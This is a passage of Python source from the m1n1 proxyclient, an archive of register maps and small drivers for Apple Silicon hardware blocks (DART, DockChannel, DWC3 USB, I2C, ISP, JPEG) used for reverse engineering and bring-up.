self.PAGE_BITS print(" TTBR: %011x" % (l1_addr)) self.dump_table(0, l1_addr, four_levels=four_levels) def dump_device(self, idx): tcr = self.regs.TCR[idx].reg ttbr = self.regs.TTBR[idx] print(f"dev {idx:02x}: TCR={tcr!s} TTBR = {ttbr!s}") if tcr.TRANSLATE_ENABLE and tcr.BYPASS_DART: print(" mode: INVALID") elif tcr.TRANSLATE_ENABLE: print(" mode: TRANSLATE") self.dump_ttbr(ttbr.reg, four_levels=tcr.FOUR_LEVELS) elif tcr.BYPASS_DART: print(" mode: BYPASS") else: print(" mode: UNKNOWN") def dump_params(self): print(self.regs.PARAMS_0.reg) print(self.regs.PARAMS_4.reg) print(self.regs.PARAMS_8.reg) print(self.regs.PARAMS_C.reg) m1n1-1.4.11/proxyclient/m1n1/hw/dockchannel.py000066400000000000000000000061171453754430200207630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from ..utils import * __all__ = ["DockChannel"] # DockChannel layout: # 00000 : Global regs # 08000 : IRQ regs (0) # 0c000 : IRQ regs (1) # 10000 : IRQ regs (2) # 14000 : IRQ regs (3) -> AIC #0 # 18000 : IRQ regs (4) -> AIC #1 # 1c000 : IRQ regs (5) (not always present) # 28000 : FIFO regs (1A) # 2c000 : Data regs (1A) # 30000 : FIFO regs (1B) # 34000 : Data regs (1B) # 38000 : FIFO regs (2A) # 3c000 : Data regs (2A) # 40000 : FIFO regs (2B) # 44000 : Data regs (2B) # (possibly more) class R_RX_DATA(Register32): DATA = 31, 8 COUNT = 7, 0 class DockChannelIRQRegs(RegMap): IRQ_MASK = 0x0, Register32 IRQ_FLAG = 0x4, Register32 class DockChannelConfigRegs(RegMap): TX_THRESH = 0x0, Register32 RX_THRESH = 0x4, Register32 class DockChannelDataRegs(RegMap): TX_8 = 0x4, Register32 TX_16 = 0x8, Register32 TX_24 = 0xc, Register32 TX_32 = 0x10, Register32 TX_FREE = 0x14, Register32 RX_8 = 0x1c, R_RX_DATA RX_16 = 0x20, R_RX_DATA RX_24 = 0x24, R_RX_DATA RX_32 = 0x28, Register32 RX_COUNT = 0x2c, Register32 class DockChannel: def __init__(self, u, irq_base, fifo_base, irq_idx): self.u = u self.p = u.proxy self.iface = u.iface self.config = DockChannelConfigRegs(u, fifo_base) self.data = DockChannelDataRegs(u, fifo_base + 0x4000) self.irq = DockChannelIRQRegs(u, irq_base) self.irq_idx = irq_idx self.irq.IRQ_MASK.val = 3 << (irq_idx * 2) @property def tx_irq(self): self.irq.IRQ_FLAG.val = 1 << (self.irq_idx * 2) return self.irq.IRQ_FLAG.val & (1 << (self.irq_idx * 2)) @property def rx_irq(self): self.irq.IRQ_FLAG.val = 2 << (self.irq_idx * 2) return self.irq.IRQ_FLAG.val & (2 << (self.irq_idx * 2)) @property def rx_count(self): return self.data.RX_COUNT.val @property def tx_free(self): return self.data.TX_FREE.val def set_tx_thresh(self, v): self.config.TX_THRESH.val = v def set_rx_thresh(self, v): self.config.RX_THRESH.val = v def write(self, data): p = 0 left = len(data) while left >= 4: while self.tx_free < 4: pass d = struct.unpack("= 1: while self.tx_free < 1: pass self.data.TX_8.val = data[p] p += 1 left -= 1 def read(self, count): data = [] left = count while left >= 4: while self.rx_count < 4: pass data.append(struct.pack("= 1: while self.rx_count < 1: pass data.append(bytes([self.data.RX_8.DATA])) left -= 1 return b"".join(data) def read_all(self): return self.read(self.rx_count) m1n1-1.4.11/proxyclient/m1n1/hw/dwc3.py000066400000000000000000000137551453754430200173600ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from enum import IntEnum from m1n1.utils import * class R_XHCI_USBCMD(Register32): EU3S = 11 EWE = 10 CRS = 9 CSS = 8 LHCRST = 7 HSEE = 3 INTE = 2 HCRST = 1 RS = 0 class R_XHCI_USBSTS(Register32): HCE = 12 CNR = 11 SRE = 10 RSS = 9 SSS = 8 PCD = 4 EINT = 3 HSE = 2 HCH = 0 class R_XHCI_CRCR_LO(Register32): CRP = 31, 6 CRR = 3 CA = 2 CS = 1 RCS = 0 class R_XHCI_DNCTRL(Register32): N0_N15 = 15, 0 class R_XHCI_DOORBELL(Register32): TASK_ID = 31, 16 RSVD = 15, 8 TARGET = 7, 0 class R_XHCI_PORTSC(Register32): CCS = 0 PED = 1 OCA = 3 RESET = 4 PLS = 8, 5 PP = 9 SPEED = 13, 10 PIC = 15, 14 LWS = 16 CSC = 17 PEC = 18 WRC = 19 OCC = 20 PRC = 21 PLC = 22 CEC = 23 CAS = 24 WCE = 25 WDE = 26 WOE = 27 DR = 30 WPR = 31 class R_XHCI_PORTLI(Register32): ERROR_CNT = 15, 0 RLC = 19, 16 TLC = 23, 20 RSV = 31, 24 class R_XHCI_IMAN(Register32): IP = 0 IE = 1 class XhciRegs(RegMap): HCSPARAMS1 = 0x04, Register32 HCSPARAMS2 = 0x08, Register32 HCSPARAMS3 = 0x0C, Register32 HCCPARAMS1 = 0x10, Register32 DBOFF = 0x14, Register32 RTSOFF = 0x18, Register32 HCCPARAMS2 = 0x1C, Register32 USBCMD = 0x20, R_XHCI_USBCMD USBSTS = 0x24, R_XHCI_USBSTS DNCTRL = 0x34, R_XHCI_DNCTRL CRCR_LO = 0x38, R_XHCI_CRCR_LO CRCR_HI = 0x3C, Register32 DCBAAP_LO = 0x50, Register32 DCBAAP_HI = 0x54, Register32 PORTSC0 = 0x420, R_XHCI_PORTSC PORTPMSC0 = 0x424, Register32 PORTLI0 = 0x428, R_XHCI_PORTLI PORTHLPMC0 = 0x42C, Register32 PORTSC1 = 0x430, R_XHCI_PORTSC PORTPMSC1 = 0x434, Register32 PORTLI1 = 0x438, R_XHCI_PORTLI PORTHLPMC1 = 0x43C, Register32 MFINDEX = 0x440, Register32 IMAN0 = 0x460 + 0x00, R_XHCI_IMAN IMOD0 = 0x460 + 0x04, Register32 ERSTSZ0 = 0x460 + 0x08, Register32 RSVD0 = 0x460 + 0x0C, Register32 ERSTBA0 = 0x460 + 0x10, Register64 ERDP0 = 0x460 + 0x18, Register64 IMAN1 = 0x480 + 0x00, R_XHCI_IMAN IMOD1 = 0x480 + 0x04, Register32 ERSTSZ1 = 0x480 + 0x08, Register32 RSVD1 = 0x480 + 0x0C, Register32 ERSTBA1 = 0x480 + 0x10, Register64 ERDP1 = 0x480 + 0x18, Register64 IMAN2 = 0x4A0 + 0x00, R_XHCI_IMAN IMOD2 = 0x4A0 + 0x04, Register32 ERSTSZ2 = 0x4A0 + 0x08, Register32 RSVD0 = 0x4A0 + 0x0C, Register32 ERSTBA2 = 0x4A0 + 0x10, Register64 ERDP2 = 0x4A0 + 0x18, Register64 IMAN3 = 0x4C0 + 0x00, R_XHCI_IMAN IMOD3 = 0x4C0 + 0x04, Register32 ERSTSZ3 = 0x4C0 + 0x08, Register32 RSVD0 = 0x4C0 + 0x0C, Register32 ERSTBA3 = 0x4C0 + 0x10, Register64 ERDP3 = 0x4C0 + 0x18, Register64 DOORBELL = irange(0x4E0, 256, 4), R_XHCI_DOORBELL class R_GUSB3PIPECTL(Register32): PHYSOFTRST = 31 U2SSINP3OK = 29 DISRXDETINP3 = 28 UX_EXIT_PX = 27 REQP1P2P3 = 24 DEPOCHANGE = 18 SUSPHY = 17 LFPSFILT = 9 RX_DETOPOLL = 8 class R_GUSB2PHYCFG(Register32): PHYSOFTRST = 31 U2_FREECLK_EXISTS = 30 SUSPHY = 6 ULPI_UTMI = 4 ENBLSLPM = 8 class R_GCTL(Register32): U2RSTECN = 16 PRTCAP = 14, 12 CORESOFTRESET = 11 SOFITPSYNC = 10 SCALEDOWN = 6, 4 DISSCRAMBLE = 3 U2EXIT_LFPS = 2 GBLHIBERNATIONEN = 1 DSBLCLKGTNG = 0 class Dwc3CoreRegs(RegMap): GSBUSCFG0 = 0x100, Register32 GSBUSCFG1 = 0x104, Register32 GTXTHRCFG = 0x108, Register32 GRXTHRCFG = 0x10C, Register32 GCTL = 0x110, R_GCTL GEVTEN = 0x114, Register32 GSTS = 0x118, Register32 GUCTL1 = 0x11C, Register32 GSNPSID = 0x120, Register32 GGPIO = 0x124, Register32 GUID = 0x128, Register32 GUCTL = 0x12C, Register32 GBUSERRADDR0 = 0x130, Register32 GBUSERRADDR1 = 0x134, Register32 GPRTBIMAP0 = 0x138, Register32 GPRTBIMAP1 = 0x13C, Register32 GHWPARAMS0 = 0x140, Register32 GHWPARAMS1 = 0x144, Register32 GHWPARAMS2 = 0x148, Register32 GHWPARAMS3 = 0x14C, Register32 GHWPARAMS4 = 0x150, Register32 GHWPARAMS5 = 0x154, Register32 GHWPARAMS6 = 0x158, Register32 GHWPARAMS7 = 0x15C, Register32 GDBGFIFOSPACE = 0x160, Register32 GDBGLTSSM = 0x164, Register32 GDBGBMU = 0x16C, Register32 GDBGLSPMUX = 0x170, Register32 GDBGLSP = 0x174, Register32 GDBGEPINFO0 = 0x178, Register32 GDBGEPINFO1 = 0x17C, Register32 GPRTBIMAP_HS0 = 0x180, Register32 GPRTBIMAP_HS1 = 0x184, Register32 GPRTBIMAP_FS0 = 0x188, Register32 GPRTBIMAP_FS1 = 0x18C, Register32 GUCTL2 = 0x19C, Register32 GUSB2PHYCFG = 0x200, R_GUSB2PHYCFG GUSB2I2CCTL = 0x240, Register32 GUSB2PHYACC = 0x280, Register32 GUSB3PIPECTL = 0x2C0, R_GUSB3PIPECTL DWC3_GHWPARAMS8 = 0x600, Register32 DWC3_GUCTL3 = 0x60C, Register32 DWC3_GFLADJ = 0x630, Register32 DWC3_GHWPARAMS9 = 0x680, Register32 class R_PIPEHANDLER_OVERRIDE(Register32): RXVALID = 0 RXDETECT = 2 class E_PIPEHANDLER_MUX_MODE(IntEnum): USB3_PHY = 0 DUMMY_PHY = 1 UNK2 = 2 class E_PIPEHANDLER_CLK_SELECT(IntEnum): UNK0 = 0 USB3_PHY = 1 DUMMY_PHY = 2 UNK4 = 4 class R_PIPEHANDLER_MUX_CTRL(Register32): MUX_MODE = 1, 0, E_PIPEHANDLER_MUX_MODE CLK_SELECT = 5, 3, E_PIPEHANDLER_CLK_SELECT class R_PIPEHANDLER_LOCK(Register32): LOCK_EN = 0 class R_PIPEHANDLER_AON_GEN(Register32): DWC3_FORCE_CLAMP_EN = 4 DWC3_RESET_N = 0 class R_PIPEHANDLER_NONSELECTED_OVERRIDE(Register32): NATIVE_POWER_DOWN = 3, 0 NATIVE_RESET = 12 DUMMY_PHY_EN = 15 class PipehandlerRegs(RegMap): PIPEHANDLER_OVERRIDE = 0x00, R_PIPEHANDLER_OVERRIDE PIPEHANDLER_OVERRIDE_VALUES = 0x04, R_PIPEHANDLER_OVERRIDE PIPEHANDLER_MUX_CTRL = 0x0C, R_PIPEHANDLER_MUX_CTRL PIPEHANDLER_LOCK_REQ = 0x10, R_PIPEHANDLER_LOCK PIPEHANDLER_LOCK_ACK = 0x14, R_PIPEHANDLER_LOCK PIPEHANDLER_AON_GEN = 0x1C, R_PIPEHANDLER_AON_GEN PIPEHANDLER_NONSELECTED_OVERRIDE = 0x20, R_PIPEHANDLER_NONSELECTED_OVERRIDE m1n1-1.4.11/proxyclient/m1n1/hw/i2c.py000066400000000000000000000202271453754430200171650ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from enum import IntEnum __all__ = ["I2C", "I2CRegs"] class R_MTXFIFO(Register32): READ = 10 # Read (DATA=count) STOP = 9 # Issue START before START = 8 # Issue STOP after DATA = 7, 0 # Byte to send or count class R_MRXFIFO(Register32): EMPTY = 8 # FIFO empty DATA = 7, 0 # FIFO data class R_MCNT(Register32): S_RXCNT = 31, 24 # Slave RX count S_TXCNT = 23, 16 # Slave TX count M_RXCNT = 15, 8 # Master RX count M_TXCNT = 7, 0 # Master TX count class E_MST(IntEnum): IDLE = 0 FRD1 = 1 FRD2 = 2 COMMAND = 3 START = 4 WRITE = 5 READ = 6 ACK = 7 STOP = 8 BAD = 15 class E_SST(IntEnum): IDLE = 0 START = 1 ST_ACK = 2 DATA = 3 ACK = 4 class R_XFSTA(Register32): MST = 27, 24, E_MST # Master controller state SRD = 20 # Slave read in progress SWR = 19 # Slave write in progress SST = 18, 16, E_SST # Slave controller state XFIFO = 9, 8 # FIFO number for error XFCNT = 7, 0 # Number of bytes in current xfer class R_SADDR(Register32): DEB = 31 # Enable SDA/SCL read debug DIR = 30 # Direct (bitbang) mode ENS = 29 # Enable slave interface RST_STX = 28 # Reset slave TX FIFO RST_SRX = 27 # Reset master RX fifo (if ^ both, controller too) PEN = 26 # Promiscuous mode (slave) AAE = 25 # SALT/ALTMASK enable SAE = 24 # SADDR enable ALTMASK = 23, 16 # MASK for SALT bits SALT = 15, 8 # Alt slave address SADDR = 7, 0 # Slave address class R_SMSTA(Register32): XIP = 28 # Xaction in progress XEN = 27 # Xaction ended UJF = 26 # UnJam failure JMD = 25 # Jam ocurred JAM = 24 # Currently jammed MTO = 23 # Master timeout MTA = 22 # Master arb lost MTN = 21 # Master received NACK MRF = 20 # Master RX fifo full MRNE = 19 # Master RX fifo not empty MTF = 17 # Master TX fifo full MTE = 16 # Master RX fifo empty STO = 15 # Slave timeout STA = 14 # Slave arb lost STN = 13 # Slave received NACK SRF = 12 # Slave RX fifo full SRNE = 11 # Slave RX fifo not empty STR = 10 # Slave transmit required STF = 9 # Slave TX fifo full STE = 8 # Slave TX fifo empty TOS = 7 # Timeout due to slave FIFO TOM = 6 # Timeout due to master FIFO TOE = 5 # Slave timeout due to ext clock stretch DCI = 4 # Direct clock in DDI = 3 # Direct data in DCO = 2 # Direct clock out DDO = 1 # Direct data out NN = 0 # NACK next (slave) class R_CTL(Register32): MSW = 26, 16 # Maximum slave write size ENABLE = 11 # Unknown enable bit (clock sel? Apple thing) MRR = 10 # Master receive FIFO reset MTR = 9 # Master transmit FIFO reset UJM = 8 # Enable auto unjam machine CLK = 7, 0 # Clock divider class R_STXFIFO(Register32): DATA = 7, 0 # Data class R_SRXFIFO(Register32): N = 12 # NACK received after this byte P = 11 # Stop received, data not valid S = 10 # Start received before O = 9 # Overflow (promisc only) E = 8 # Empty (data not valid) DATA = 7, 0 # Data # Apple reg class R_FIFOCTL(Register32): HALT = 0 # Halt machinery class I2CRegs(RegMap): MTXFIFO = 0x00, R_MTXFIFO MRXFIFO = 0x04, R_MRXFIFO MCNT = 0x08, R_MCNT XFSTA = 0x0c, R_XFSTA SADDR = 0x10, R_SADDR SMSTA = 0x14, R_SMSTA IMASK = 0x18, R_SMSTA CTL = 0x1c, R_CTL STXFIFO = 0x20, R_STXFIFO SRXFIFO = 0x20, R_SRXFIFO FIFOCTL = 0x44, R_FIFOCTL class I2C: def __init__(self, u, adt_path): self.u = u self.p = u.proxy self.iface = u.iface self.base = u.adt[adt_path].get_reg(0)[0] self.regs = I2CRegs(u, self.base) self.devs = [] def clear_fifos(self): self.regs.CTL.set(MTR=1, MRR=1) def clear_status(self): self.regs.SMSTA.val = 0xffffffff def _fifo_read(self, nbytes): read = [] for _ in range(nbytes): val = self.regs.MRXFIFO.reg timeout = 10000 while val.EMPTY and timeout > 0: val = self.regs.MRXFIFO.reg timeout -= 1 if timeout == 0: raise Exception("timeout") read.append(int(val) & 0xff) return bytes(read) def _fifo_write(self, buf, stop=False): for no, byte in enumerate(buf): sending_stop = stop and no == len(buf) - 1 self.regs.MTXFIFO.set(DATA=byte, STOP=int(sending_stop)) if not stop: return timeout = 10000 while not self.regs.SMSTA.reg.XEN and timeout > 0: timeout -= 1 if timeout == 0: raise Exception("timeout") def write_reg(self, addr, reg, data, regaddrlen=1): self.clear_fifos() self.clear_status() self.regs.CTL.set(ENABLE=1, CLK=0x4) self.regs.MTXFIFO.set(DATA=addr << 1, START=1) regbytes = int.to_bytes(reg, regaddrlen, byteorder="big") self._fifo_write(regbytes + bytes(data), stop=True) self.regs.CTL.set(ENABLE=0, CLK=0x4) def read_reg(self, addr, reg, nbytes, regaddrlen=1): self.clear_fifos() self.clear_status() self.regs.CTL.set(ENABLE=1, CLK=0x4) self.regs.MTXFIFO.set(DATA=addr << 1, START=1) regbytes = int.to_bytes(reg, regaddrlen, byteorder="big") self._fifo_write(regbytes, stop=False) self.regs.MTXFIFO.set(DATA=(addr << 1) | 1, START=1) self.regs.MTXFIFO.set(DATA=nbytes, STOP=1, READ=1) data = self._fifo_read(nbytes) self.regs.CTL.set(ENABLE=0, CLK=0x4) return data class I2CRegMapDev: REGMAP = None ADDRESSING = (0, 1) def __init__(self, bus, addr, name=None): self.bus = bus self.addr = addr self.curr_page = None self.name = name self.paged, self.regimmbytes = self.ADDRESSING if self.REGMAP is not None: self.regs = self.REGMAP(self, 0) @classmethod def from_adt(cls, bus, path): node = bus.u.adt[path] addr = node.reg[0] & 0xff return cls(bus, addr, node.name) def _switch_page(self, page): assert self.paged self.bus.write_reg(self.addr, 0, bytes([page]), regaddrlen=self.regimmbytes) self.curr_page = page def _snip_regaddr(self, addr): pageshift = self.regimmbytes * 8 page = addr >> pageshift immediate = addr & ~(~0 << pageshift) return (page, immediate) def write(self, reg, val, width=8): page, imm = self._snip_regaddr(reg) if self.paged and page != self.curr_page: self._switch_page(page) valbytes = val.to_bytes(width//8, byteorder="little") self.bus.write_reg(self.addr, imm, valbytes, regaddrlen=self.regimmbytes) def read(self, reg, width=8): page, imm = self._snip_regaddr(reg) if self.paged and page != self.curr_page: self._switch_page(page) data = self.bus.read_reg(self.addr, imm, width//8, regaddrlen=self.regimmbytes) return int.from_bytes(data, byteorder='little') def __repr__(self): label = self.name or f"@ {self.addr:02x}" return f"<{type(self).__name__} {label}>" m1n1-1.4.11/proxyclient/m1n1/hw/isp.py000066400000000000000000000055761453754430200173150ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * class ISP_REVISION(Register32): REVISION = 15, 0 class ISPRegs(RegMap): ISP_PMGR_0 = 0x738, Register32 ISP_PMGR_1 = 0x798, Register32 ISP_PMGR_2 = 0x7f8, Register32 ISP_PMGR_3 = 0x858, Register32 ISP_ASC_RVBAR = 0x1050000, Register64 ISP_ASC_EDPRCR = 0x1010310, Register32 ISP_ASC_CONTROL = 0x1400044, Register32 ISP_ASC_STATUS = 0x1400048, Register32 ISP_ASC_POWER_CYCLE_0 = 0x1400a00, Register32 ISP_ASC_POWER_CYCLE_1 = 0x1400a04, Register32 ISP_ASC_POWER_CYCLE_2 = 0x1400a08, Register32 ISP_ASC_POWER_CYCLE_3 = 0x1400a0c, Register32 ISP_ASC_POWER_CYCLE_4 = 0x1400a10, Register32 ISP_ASC_POWER_CYCLE_5 = 0x1400a14, Register32 ISP_REVISION = 0x1800000, ISP_REVISION ISP_POWER_UNK_0 = 0x20e0080, Register32 ISP_POWER_UNK_1 = 0x20f0020, Register32 ISP_POWER_UNK_2 = 0x20f8020, Register32 ISP_GPIO_0 = 0x2104170, Register32 ISP_GPIO_1 = 0x2104174, Register32 ISP_GPIO_2 = 0x2104178, Register32 ISP_GPIO_3 = 0x210417c, Register32 ISP_GPIO_4 = 0x2104180, Register32 ISP_GPIO_5 = 0x2104184, Register32 ISP_GPIO_6 = 0x2104188, Register32 ISP_GPIO_7 = 0x210418c, Register32 ISP_GPIO_0_T8112 = 0x24c41b0, Register32 ISP_GPIO_1_T8112 = 0x24c41b4, Register32 ISP_GPIO_2_T8112 = 0x24c41b8, Register32 ISP_GPIO_3_T8112 = 0x24c41bc, Register32 ISP_GPIO_4_T8112 = 0x24c41c0, Register32 ISP_GPIO_5_T8112 = 0x24c41c4, Register32 ISP_GPIO_6_T8112 = 0x24c41c8, Register32 ISP_GPIO_7_T8112 = 0x24c41cc, Register32 ISP_SENSOR_CLOCK_0_EN = 0x2104190, Register32 ISP_SENSOR_CLOCK_1_EN = 0x2104194, Register32 ISP_SENSOR_CLOCK_2_EN = 0x2104198, Register32 ISP_IRQ_INTERRUPT = 0x2104000, Register32 ISP_IRQ_ENABLE = 0x2104004, Register32 ISP_IRQ_DOORBELL = 0x21043f0, Register32 ISP_IRQ_ACK = 0x21043fc, Register32 ISP_IRQ_INTERRUPT_T8112 = 0x24c4000, Register32 ISP_IRQ_DOORBELL_T8112 = 0x24c4430, Register32 ISP_IRQ_ACK_T8112 = 0x24c443c, Register32 ISP_IRQ_INTERRUPT_1 = 0x2104008, Register32 ISP_IRQ_INTERRUPT_2 = 0x2104010, Register32 ISP_IRQ_INTERRUPT_3 = 0x2104018, Register32 ISP_IRQ_INTERRUPT_4 = 0x21043f8, Register32 ISP_IRQ_INTERRUPT_4_T8112 = 0x24c4438, Register32 ISP_DPE_UNK_0 = 0x2504000, Register32 ISP_DPE_UNK_1 = 0x2508000, Register32 class ISPPSRegs(RegMap): # This doesn't really make sense ISP_PS_00 = 0x4000, Register32 ISP_PS_08 = 0x4008, Register32 ISP_PS_10 = 0x4010, Register32 ISP_PS_18 = 0x4018, Register32 ISP_PS_20 = 0x4020, Register32 ISP_PS_28 = 0x4028, Register32 ISP_PS_30 = 0x4030, Register32 ISP_PS_38 = 0x4038, Register32 ISP_PS_40 = 0x4040, Register32 ISP_PS_48 = 0x4048, Register32 ISP_PS_50 = 0x4050, Register32 ISP_PS_58 = 0x4058, Register32 ISP_PS_60 = 0x4060, Register32 m1n1-1.4.11/proxyclient/m1n1/hw/jpeg.py000066400000000000000000000220061453754430200174320ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from enum import IntEnum class R_STATUS(Register32): DONE = 0 TIMEOUT = 1 RD_BUF_OVERFLOW = 2 WR_BUF_OVERFLOW = 3 CODEC_BUF_OVERFLOW = 4 SOME_KIND_OF_MACROBLOCK_SIZE_ERROR = 5 AXI_ERROR = 6 UNKNOWN_FLAG = 7 class E_CODEC(IntEnum): _444 = 0 _422 = 1 _411 = 2 _420 = 3 _400 = 4 class R_CODEC(Register32): CODEC = 2, 0, E_CODEC class E_ENCODE_PIXEL_FORMAT(IntEnum): RGB101010 = 0 YUV10_linear = 1 RGB888 = 2 RGB565 = 3 YUV_planar = 4 # partially tested, details not understood YUV_linear = 5 # partially tested, details not understood class R_ENCODE_PIXEL_FORMAT(Register32): FORMAT = 4, 0, E_ENCODE_PIXEL_FORMAT class E_SCALE(IntEnum): DIV1 = 0 DIV2 = 1 DIV4 = 2 DIV8 = 3 class R_SCALE_FACTOR(Register32): SCALE = 1, 0, E_SCALE class E_DECODE_PIXEL_FORMAT(IntEnum): YUV444_planar = 0 YUV422_planar = 1 YUV420_planar = 2 YUV422_linear = 3 _YUV10_broken_doesnt_work = 4 RGBA8888 = 5 RGB565 = 6 _RGB101010_broken_doesnt_work = 7 class R_DECODE_PIXEL_FORMAT(Register32): FORMAT = 3, 0, E_DECODE_PIXEL_FORMAT class E_JPEG_IO_FLAGS_SUBSAMPLING(IntEnum): _444 = 0 _422 = 1 _420 = 2 _400 = 3 FOUR_COMPONENTS_MODE = 4 _411_BROKEN = 6 class R_JPEG_IO_FLAGS(Register32): SUBSAMPLING_MODE = 2, 0, E_JPEG_IO_FLAGS_SUBSAMPLING # not sure what this is supposed to do MAKE_DECODE_WORK_BREAK_ENCODE = 3 OUTPUT_MACROBLOCKS_UNFLIPPED_H = 4 OUTPUT_8BYTE_CHUNKS_CORRECTLY = 5 class R_JPEG_OUTPUT_FLAGS(Register32): # bit0 doesn't seem to do anything SKIP_HEADERS = 1 # output only SOS/EOI, no SOI/DQT/SOF0/DHT OUTPUT_SOF0_AFTER_DHT = 2 # output SOF0 after DHT instead of before it # bit3 doesn't seem to do anything COMPRESS_WORSE = 4 # not sure exactly what this does class R_QTBL_SEL(Register32): COMPONENT0 = 1, 0 COMPONENT1 = 3, 2 COMPONENT2 = 5, 4 COMPONENT3 = 7, 6 # guessed class JPEGRegs(RegMap): REG_0x0 = 0x0, Register32 REG_0x4 = 0x4, Register32 MODE = 0x8, Register32 REG_0xc = 0xc, Register32 REG_0x10 = 0x10, Register32 REG_0x14 = 0x14, Register32 REG_0x18 = 0x18, Register32 # REG_0x1c = 0x1c, Register32 REG_0x20 = 0x20, Register32 STATUS = 0x24, R_STATUS CODEC = 0x28, R_CODEC REG_0x2c = 0x2c, Register32 REG_0x30 = 0x30, Register32 REG_0x34 = 0x34, Register32 # this changes the output drastically if set to 1 for decode # breaks encode if not set to 1 REG_0x38 = 0x38, Register32 # not sure what the difference is. siting? type2 seems to win over type1 CHROMA_HALVE_H_TYPE1 = 0x3c, Register32 CHROMA_HALVE_H_TYPE2 = 0x40, Register32 CHROMA_HALVE_V_TYPE1 = 0x44, Register32 CHROMA_HALVE_V_TYPE2 = 0x48, Register32 # if double and quadruple both set --> double CHROMA_DOUBLE_H = 0x4c, Register32 CHROMA_QUADRUPLE_H = 0x50, Register32 CHROMA_DOUBLE_V = 0x54, Register32 # details not fully understood yet PX_USE_PLANE1 = 0x58, Register32 PX_TILES_W = 0x5c, Register32 PX_TILES_H = 0x60, Register32 PX_PLANE0_WIDTH = 0x64, Register32 PX_PLANE0_HEIGHT = 0x68, Register32 PX_PLANE0_TILING_H = 0x6c, Register32 PX_PLANE0_TILING_V = 0x70, Register32 PX_PLANE0_STRIDE = 0x74, Register32 PX_PLANE1_WIDTH = 0x78, Register32 PX_PLANE1_HEIGHT = 0x7c, Register32 PX_PLANE1_TILING_H = 0x80, Register32 PX_PLANE1_TILING_V = 0x84, Register32 PX_PLANE1_STRIDE = 0x88, Register32 INPUT_START1 = 0x8c, Register32 INPUT_START2 = 0x90, Register32 REG_0x94 = 0x94, Register32 REG_0x98 = 0x98, Register32 INPUT_END = 0x9c, Register32 OUTPUT_START1 = 0xa0, Register32 OUTPUT_START2 = 0xa4, Register32 OUTPUT_END = 0xa8, Register32 MATRIX_MULT = irange(0xAC, 11, 4), Register32 DITHER = irange(0xD8, 10, 4), Register32 ENCODE_PIXEL_FORMAT = 0x100, R_ENCODE_PIXEL_FORMAT # RGB888: R, G, B = byte pos # RGB101010: R, G, B = 0/1/2 = low/mid/high bits # RGB565: R, G, B = 0/1/2 = low/mid/high bits # YUV10: Y, U, V = 0/1/2 = low/mid/high bits # YUV linear: Y0 Cb Cr Y1 = byte pos # YUV planar: Y U V = 0 for Y, 0/1 for U/V indicating position somehow ENCODE_COMPONENT0_POS = 0x104, Register32 ENCODE_COMPONENT1_POS = 0x108, Register32 ENCODE_COMPONENT2_POS = 0x10c, Register32 ENCODE_COMPONENT3_POS = 0x110, Register32 CONVERT_COLOR_SPACE = 0x114, Register32 REG_0x118 = 0x118, Register32 REG_0x11c = 0x11c, Register32 REG_0x120 = 0x120, Register32 # details not understood yet TILING_ENABLE = 0x124, Register32 TILING_PLANE0 = 0x128, Register32 TILING_PLANE1 = 0x12c, Register32 DECODE_MACROBLOCKS_W = 0x130, Register32 DECODE_MACROBLOCKS_H = 0x134, Register32 RIGHT_EDGE_PIXELS = 0x138, Register32 BOTTOM_EDGE_PIXELS = 0x13c, Register32 RIGHT_EDGE_SAMPLES = 0x140, Register32 BOTTOM_EDGE_SAMPLES = 0x144, Register32 SCALE_FACTOR = 0x148, R_SCALE_FACTOR DECODE_PIXEL_FORMAT = 0x14c, R_DECODE_PIXEL_FORMAT # 0 = Cb Y'0 Cr Y'1 1 = Y'0 Cb Y'1 Cr YUV422_ORDER = 0x150, Register32 # 0 = BGRA 1 = RGBA RGBA_ORDER = 0x154, Register32 RGBA_ALPHA = 0x158, Register32 PLANAR_CHROMA_HALVING = 0x15c, Register32 REG_0x160 = 0x160, Register32 REG_0x164 = 0x164, Register32 # REG_0x168 = 0x168, Register32 REG_0x16c = 0x16c, Register32 REG_0x170 = 0x170, Register32 # REG_0x174 = 0x174, Register32 PERFCOUNTER = 0x178, Register32 # REG_0x17c = 0x17c, Register32 # REG_0x180 = 0x180, Register32 TIMEOUT = 0x184, Register32 HWREV = 0x188, Register32 REG_0x18c = 0x18c, Register32 REG_0x190 = 0x190, Register32 REG_0x194 = 0x194, Register32 REG_0x198 = 0x198, Register32 REG_0x19c = 0x19c, Register32 ENABLE_RST_LOGGING = 0x1a0, Register32 RST_LOG_ENTRIES = 0x1a4, Register32 REG_0x1a8 = 0x1a8, Register32 REG_0x1ac = 0x1ac, Register32 REG_0x1b0 = 0x1b0, Register32 REG_0x1b4 = 0x1b4, Register32 REG_0x1b8 = 0x1b8, Register32 REG_0x1bc = 0x1bc, Register32 REG_0x1c0 = 0x1c0, Register32 REG_0x1c4 = 0x1c4, Register32 REG_0x1c8 = 0x1c8, Register32 REG_0x1cc = 0x1cc, Register32 REG_0x1d0 = 0x1d0, Register32 REG_0x1d4 = 0x1d4, Register32 REG_0x1d8 = 0x1d8, Register32 REG_0x1dc = 0x1dc, Register32 REG_0x1e0 = 0x1e0, Register32 REG_0x1e4 = 0x1e4, Register32 REG_0x1e8 = 0x1e8, Register32 REG_0x1ec = 0x1ec, Register32 REG_0x1f0 = 0x1f0, Register32 REG_0x1f4 = 0x1f4, Register32 REG_0x1f8 = 0x1f8, Register32 REG_0x1fc = 0x1fc, Register32 REG_0x200 = 0x200, Register32 REG_0x204 = 0x204, Register32 REG_0x208 = 0x208, Register32 REG_0x20c = 0x20c, Register32 REG_0x210 = 0x210, Register32 REG_0x214 = 0x214, Register32 REG_0x218 = 0x218, Register32 REG_0x21c = 0x21c, Register32 REG_0x220 = 0x220, Register32 REG_0x224 = 0x224, Register32 REG_0x228 = 0x228, Register32 REG_0x22c = 0x22c, Register32 REG_0x230 = 0x230, Register32 REG_0x234 = 0x234, Register32 REG_0x238 = 0x238, Register32 REG_0x23c = 0x23c, Register32 REG_0x240 = 0x240, Register32 REG_0x244 = 0x244, Register32 REG_0x248 = 0x248, Register32 REG_0x24c = 0x24c, Register32 REG_0x250 = 0x250, Register32 REG_0x254 = 0x254, Register32 REG_0x258 = 0x258, Register32 REG_0x25c = 0x25c, Register32 REG_0x260 = 0x260, Register32 REG_0x264 = 